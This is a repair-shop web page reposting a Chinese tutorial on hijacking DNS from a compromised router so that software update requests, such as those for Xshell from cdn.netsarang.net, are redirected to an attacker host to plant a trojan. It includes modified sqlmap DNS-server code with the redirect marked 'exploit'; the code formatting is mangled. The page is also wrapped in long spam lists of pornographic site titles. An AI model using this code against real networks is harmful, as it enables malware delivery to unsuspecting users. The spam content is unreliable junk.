国产精品久av福利在线观看_亚洲一区国产精品_亚洲黄色一区二区三区_欧美成人xxxx_国产精品www_xxxxx欧美_国产精品久久婷婷六月丁香_国产特级毛片

錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務,錦州廣廈維修電腦,公司IT外包服務
topFlag1 設為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務項目 服務報價 維修流程 IT外包服務 服務器維護 技術文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務技術文章
劫持DNS通過流量植入木馬實驗

作者: 佚名  日期:2018-06-01 21:02:37   來源: 本站整理

 很多時候對目標進行滲透時一般會從web、網絡設備、針對性釣魚這三個方向入手。假設我們控制了目標網絡中的一臺網絡設備,如路由器,內網用戶流量會從這個地方經過我們怎么獲取其權限呢 ?
這種時候可以在路由器上抓包分析用戶流量,比如啟動xshell、notepad++等軟件時發送的更新請求包,然后我們替換軟件更新的http響應包達到植入木馬目的。
分析流量一般用tcpdump,如果只有路由器后臺權限沒有地方可以執行命令的話可以用DNS服務器配合HTTP代理來截獲流量。

這里就演示一下去劫持軟件更新服務器達到植入木馬的目的

一、部署DNS服務器
為了方便演示這里將受害者機器上的DNS改為攻擊者IP

下載sqlmap項目提取sqlmap\sqlmap-stable\lib\request目錄中的dns.py
執行看看效果

在用戶機器上ping了一下,DNS服務器這邊已經成功接收域名解析請求并響應127.0.0.1
但是這個腳本中把所有域名解析請求都響應成127.0.0.1

需要修改一下
我們的需求是能夠正常解析域名,再對某些指定域名進行劫持。
修改后代碼如下
#!/usr/bin/env python"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""import osimport reimport socketimport threadingimport timeimport dns.resolverclass DNSQuery(object):
    """
    Used for making fake DNS resolution responses based on received
    raw request
    Reference(s):
http://code.activestate.com/recipes/491264-mini-fake-dns-server/
https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py
    """
    def __init__(self, raw):
        self._raw = raw
        self._query = ""
        type_ = (ord(raw[2]) >> 3) & 15                 # Opcode bits
        if type_ == 0:                                  # Standard query
            i = 12
            j = ord(raw[i])            while j != 0:
                self._query += raw[i + 1:i + j + 1] + '.'
                i = i + j + 1
                j = ord(raw[i])    def response(self, resolution):
        """
        Crafts raw DNS resolution response packet
        """
        retVal = ""
        if self._query:
            retVal += self._raw[:2]                                             # Transaction ID
            retVal += "\x85\x80"                                                # Flags (Standard query response, No error)         retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00"      # Questions and Answers Counts
            retVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)]      # Original Domain Name Query
            retVal += "\xc0\x0c"                                                # Pointer to domain name
            retVal += "\x00\x01"                                                # Type A
            retVal += "\x00\x01"                                                # Class IN
            retVal += "\x00\x00\x00\x20"                                        # TTL (32 seconds)
            retVal += "\x00\x04"                                                # Data length
            retVal += "".join(chr(int(_)) for _ in resolution.split('.'))       # 4 bytes of IP
        return retValclass DNSServer(object):
    def __init__(self):
        self.my_resolver = dns.resolver.Resolver()
        self.my_resolver.nameservers = ['8.8.8.8']
        self._check_localhost()
        self._requests = []
        self._lock = threading.Lock()        try:
            self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM)        except AttributeError:
            self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self._socket.bind(("", 53))
        self._running = False
        self._initialized = False
    def _check_localhost(self):
        response = ""
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            s.connect(("", 53))
            s.send("6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000".decode("hex"))  # A www.google.com
            response = s.recv(512)        except:            pass
        finally:            if response and "google" in response:                raise socket.error("another DNS service already running on *:53")    def pop(self, prefix=None, suffix=None): """
        Returns received DNS resolution request (if any) that has given
        prefix/suffix combination (e.g. prefix..suffix.domain)
        """
        retVal = None
        with self._lock:            for _ in self._requests:                if prefix is None and suffix is None or re.search("%s\..+\.%s" % (prefix, suffix), _, re.I):
                    retVal = _
                    self._requests.remove(_)                    break
        return retVal    def get_domain_A(self,domain):
        try:
            results=self.my_resolver.query(domain,'A')            for i in results.response.answer:                for j in i.items:                    try:
                        ip_address = j.address                        if re.match('\d+\.+\d+\.+\d+\.+\d', ip_address):                            return ip_address                    except AttributeError as e:                        continue
        except Exception as e:            return '127.0.0.1'
            
    def run(self):
        """
        Runs a DNSServer instance as a daemon thread (killed by program exit)
        """
        def _():
            try:
                self._running = True
                self._initialized = True
                while True:
                    data, addr = self._socket.recvfrom(1024)
                    _ = DNSQuery(data)
                    domain=_._query[:-1] ###### exploit
                    ip=self.get_domain_A(domain)                    if domain=='cdn.netsarang.net':
                        ip='192.168.80.142'
                    print domain,' -> ',ip
                    self._socket.sendto(_.response(ip), addr)                    with self._lock:
                        self._requests.append(_._query)            except KeyboardInterrupt:                raise



熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數和判...
  • IIS 8 開啟 GZIP壓縮來減少網絡請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅動時提示不包含數字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務區域: 遼寧錦州市區
    主要業務: 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網設置,IT服務外包,局域網組建,ADSL共享上網,路由器設置,數據恢復,密碼破解,光盤刻錄制作等服務

    技術支持:微軟等
    亚洲电影在线看| 国产传媒一区| 香蕉视频网站在线| 欧美a级网站| 日韩在线视频一区| 国产三级精品三级在线观看| 欧美色网址大全| 精品免费久久久久久久| 久久在线观看| 国产精品二区在线| av在线最新| 成人av电影免费| 欧美精品中文字幕亚洲专区| 国产精品第9页| 日韩在线资源网| 国内精品女同女同一区二区三区 | 久久九九热视频| 中文字幕成人网| 亚洲色图 激情小说| 欧美日韩四区| 噜噜噜在线视频| 欧美特黄一级| 国产精品免费一区二区三区四区 | 2021最新国产精品一区| 精品国产一区二区三区久久久蜜月 | 国产精品一级久久久| 亚洲成人第一| 中文字幕55页| 天堂网中文字幕| 免费黄色a网站| 久久精品视频观看| 窝窝社区一区二区| 国产精品一区二区久久不卡| 欧美性xxxx极品hd欧美风情| 色婷婷综合久久久久| 国产亚洲欧美一区二区三区| 亚洲成人福利在线| 亚洲综合欧美在线| 国产系列精品av| 五十路亲子中出在线观看| 最新电影电视剧在线观看免费观看| 欧美成人毛片| 日韩在线一二三区| 精品久久中文字幕| 欧美精品video| www.-级毛片线天内射视视| 性久久久久久久久久| 日本xxxx人| 91精彩在线视频| 欧美电影一区| 亚洲欧美另类在线| 欧美成人午夜剧场免费观看| 亚洲永久激情精品| 国产精品无码无卡无需播放器| 九九久久久2| 亚洲综合影视| av成人激情| 91成人在线免费观看| 国产不卡精品视男人的天堂| 日本一区二区黄色| 中文字幕手机在线视频| 日本高清好狼色视频| 成人福利一区| 久久久国产精品午夜一区ai换脸| 亚洲老司机av| 欧美 另类 交| 免费无码毛片一区二区app| 黄色片免费大全| 日韩精品中文字幕吗一区二区| 国产成人免费在线观看不卡| 精品成a人在线观看| 久久国产精品高清| 国产黄a三级三级| 黄色网址免费在线| 国产免费区一区二区三视频免费 | 日韩av系列| 国产精品久久一卡二卡| 久久精品国产久精国产一老狼| 天天操天天干天天玩| 国产亚洲欧美精品久久久久久| 136福利视频| 欧美午夜18电影| 一区二区不卡在线播放| 日韩精品一区二区三区蜜臀 | 久久人人97超碰精品888| www.色精品| 国产精品日韩成人| 97在线视频国产| 亚洲免费观看在线| 亚洲精品天堂在线| yiren22亚洲综合| 久久久久国产精品人| 欧美激情视频网站| 欧美成人三级在线播放| 免费一区二区三区视频狠狠| 亚洲精品动漫| 91视频xxxx| 国产va免费精品高清在线观看| 西游记1978| 黄色在线视频网址| √新版天堂资源在线资源| 日韩二区三区在线观看| 亚洲女人天堂av| 国产超碰在线播放| 欧美性巨大欧美| 久久精品亚洲成在人线av网址| 亚洲一区在线视频观看| 成人综合色站| 九九热在线免费观看| 日本www在线| 懂色中文一区二区在线播放| 国内偷自视频区视频综合| 在线免费观看污视频| 成人蜜桃视频网站网址| 欧美一区二区| 亚洲免费电影一区| 高潮一区二区三区| 黄色动漫免费看| 黄色成人91| 中文字幕亚洲欧美日韩在线不卡| 最新国产黄色网址| 天天操夜夜拍| 午夜一区不卡| 欧美日韩不卡合集视频| a级大片在线观看| 中文字幕视频免费在线观看| 日本伊人色综合网| 欧美日韩国产片| 亚洲精品蜜桃久久久久久| 色se01短视频永久免费| 日韩精品社区| 亚洲国产精品嫩草影院久久| 伊人国产在线视频| 日日夜夜天天操| 奇米精品一区二区三区四区| 91精品国产91久久久久久| 91大神福利视频| bt在线麻豆视频| 亚洲欧美日韩国产一区二区三区| 麻豆91av| 亚洲国产日韩在线人成电影| 欧美一区二区三| 在线观看中文字幕亚洲| 爱爱的免费视频| 69av亚洲| 亚洲免费在线电影| 成人av在线播放观看| 性猛交富婆╳xxx乱大交一| 国产精品mv在线观看| 久久999免费视频| 精品无码一区二区三区电影桃花| 91超碰国产在线| 日韩欧美999| 中文字幕66页| 日本大臀精品| 国产欧美日本一区二区三区| 奇米视频888战线精品播放| 四虎www视频| 亚洲激情社区| 国产精品高潮呻吟久久av无限 | 成人高潮aa毛片免费| 午夜精品一区二区三区三上悠亚 | 亚洲伊人第一页| www.日本在线观看| 亚洲成人国产| 国内精品视频一区| 这里只有精品999| 国产一区二区三区四区二区| 在线成人激情视频| 国产中文字字幕乱码无限| 国产免费区一区二区三视频免费| 亚洲国内精品在线| 亚洲一区电影在线观看| 国产在线|日韩| 亚洲成人激情在线| 乱老熟女一区二区三区| 在线国产成人影院| 亚洲а∨天堂久久精品喷水| 特级西西人体高清大胆| 欧美黄页在线免费观看| 日韩av在线高清| 久久久久免费看| 美日韩黄色大片| 欧美激情精品久久久久久免费印度| 香蕉久久久久久av成人| 国产三区在线观看| 欧美美女bb生活片| 91网站免费视频| 日韩精品一级毛片在线播放| 亚洲人成网站777色婷婷| 欧美丝袜在线观看| 国产欧美黑人| 51精品久久久久久久蜜臀| x88av在线| 中文无码日韩欧| 欧美成在线观看| 亚洲免费国产视频| 青青草国产成人av片免费| 亚洲丰满在线| 在线观看免费av网|